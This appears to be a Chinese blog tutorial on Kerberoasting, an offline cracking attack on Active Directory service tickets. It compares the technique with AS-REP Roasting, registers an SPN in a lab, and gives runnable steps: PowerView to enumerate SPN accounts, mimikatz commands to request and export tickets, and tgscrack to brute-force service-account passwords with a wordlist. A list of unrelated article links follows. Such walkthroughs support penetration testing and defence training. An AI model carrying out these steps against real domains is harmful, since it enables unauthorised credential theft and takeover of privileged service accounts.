Kerberoasting 离线爆破攻击

当域用户请求某个域内服务后,kdc 通常会返回一个加密的 st 服务票据,此 st 服务票据被服务 hash 加密,当我们将使用密码字典派生的多个 hash 值来尝试解密 st 服务票据,如果能够揭秘成功,则说明字典中存在目标服务账号的密码。

Kerberoasting 对比 AS-REP Roasting

  • Kerberoasting 利用后获得服务账户密码,AS-REP Roasting 利用后获得发起请求的域用户的密码。

  • Kerberoasting 使用字典爆破 st 服务票据,AS-REP Roasting 使用字典爆破 Logon Session Key。

  • Kerberoasting 需要攻击者具有请求 st 的凭据(某个域用户即可),AS-REP Roasting 需要攻击者枚举出域中 "不要求 kerberos 预身份验证" 的用户。

环境搭建

为管理员 administrator 注册一个 spn,目的是为了 administrator 映射为某个服务的服务账户。

复制代码
setspn -S MySQL/WIN-0v0GAORDC17:3306/MySQL administrator

漏洞利用

  1. 查询域内注册 spn 的用户。工具:PowerView.ps1 ,项目地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
复制代码
Import-Module .\PowerView.ps1 
Get-NetUser -SPN
  1. 使用某个域用户凭据请求这个 spn 对应服务的 st 服务票据。工具:mimikatz
复制代码
kerberos::ask /target:MySQL/WIN-0v0GAORDC17:3306/MySQL
​
# 这里我用来请求 st 的凭据时 administrator管理员,其实其他域用户凭据也可以,只要能请求到 st 就可以。
  1. 导出请求到的 st 服务票据。工具:mimikatz
复制代码
kerberos::list /export
  1. 使用字典进行离线爆破。工具:tgscrack ,项目地址:https://github.com/leechristensen/tgscrack
复制代码
# 先使用 python 脚本提取出 st 服务票据的加密部分,并导出到 /tmp/myhash.txt 路径下
python2 extractServiceTicketParts.py ticket.kirbi > /tmp/myhash.txt
​
# 再使用 tgscrack.go 进行离线爆破
go run tgscrack.go -hashfile /tmp/myhash.txt -wordlist /tmp/password.txt
相关推荐
冼紫菜4 分钟前
基于Redis实现高并发抢券系统的数据同步方案详解
java·数据库·redis·后端·mysql·缓存·性能优化
屿暖_25 分钟前
Rocky Linux 安装 PostgreSQL 数据库完整指南(2025版)
数据库
MaYuKang34 分钟前
「ES数据迁移可视化工具(Python实现)」支持7.x索引数据互传
大数据·数据库·python·mysql·elasticsearch
用户6279947182621 小时前
南大通用GBase 8a数据库to_number关联报错问题处理方法
数据库
惊起白鸽4501 小时前
系统安全及应用
安全·系统安全
李小白661 小时前
数据库进阶之MySQL 程序
数据库·mysql
小博测试成长之路1 小时前
MongoDB技巧:快速找出重复字段记录
数据库·mongodb
撬动未来的支点1 小时前
【网络】TCP/IP协议学习
网络·学习·tcp/ip
wqdian_com1 小时前
“广州丰田汽车.网址”中文域名仲裁案:“网络门牌”保护战
网络
Yushan Bai2 小时前
ORACLE DATAGUARD遇到GAP增量恢复方式修复RAC环境备机的实践
数据库·oracle